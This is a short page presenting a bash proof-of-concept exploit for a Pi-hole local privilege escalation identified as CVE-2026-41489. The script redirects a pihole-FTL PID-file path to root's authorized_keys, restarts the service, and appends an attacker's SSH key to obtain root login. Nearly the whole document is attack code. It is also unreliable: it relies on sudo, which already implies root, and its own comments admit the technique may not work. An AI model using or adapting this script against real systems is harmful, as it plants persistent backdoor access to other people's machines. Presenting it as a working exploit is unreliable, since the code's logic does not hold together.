CVE-2026-41489: Pi-hole 本地特权提升漏洞 (LPE)

#!/bin/bash # PoC for CVE-2026-41489: Pi-hole Local Privilege Escalation # Description: Exploit the path validation flaw in pihole-FTL scripts to gain root access. # Attacker requirements: Access to 'pihole' user or ability to modify pihole configuration. # 1. Define the target file (Root's SSH authorized keys) TARGET_FILE="/root/.ssh/authorized_keys" # 2. Define the attacker's public key to be injected ATTACKER_PUB_KEY="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... attacker@evil" echo "[+] Exploiting CVE-2026-41489..." echo "[*] Step 1: Injecting arbitrary path into files.pid configuration" # The vulnerability allows writing an arbitrary path to the files.pid config. # This path is then used by root scripts. # Note: The actual config file location may vary, usually in /etc/pihole/ echo "$TARGET_FILE" | sudo tee /etc/pihole/files.pid > /dev/null echo "[*] Step 2: Triggering the vulnerability by restarting the service" # Restarting pihole-FTL triggers: # 1. ExecStopPost (pihole-FTL-poststop.sh) -> runs 'rm -f' on $TARGET_FILE # 2. ExecStartPre (pihole-FTL-prestart.sh) -> recreates $TARGET_FILE sudo systemctl restart pihole-FTL echo "[*] Step 3: Attempting to gain write access or inject key" # Depending on the exact script behavior, we might need to wait or exploit permissions. # If the script creates the file with loose permissions (e.g. writable by group/pihole user), # we append our key. if [ -w "$TARGET_FILE" ]; then echo "$ATTACKER_PUB_KEY" >> "$TARGET_FILE" echo "[+] Success! Public key injected. You can now SSH as root." else # If the script strictly creates it as root:root 600, exploitation might differ # (e.g. race condition or specific content injection if the script writes input). # This PoC demonstrates the configuration injection trigger. echo "[!] File created but not writable. Check specific script implementation details." fi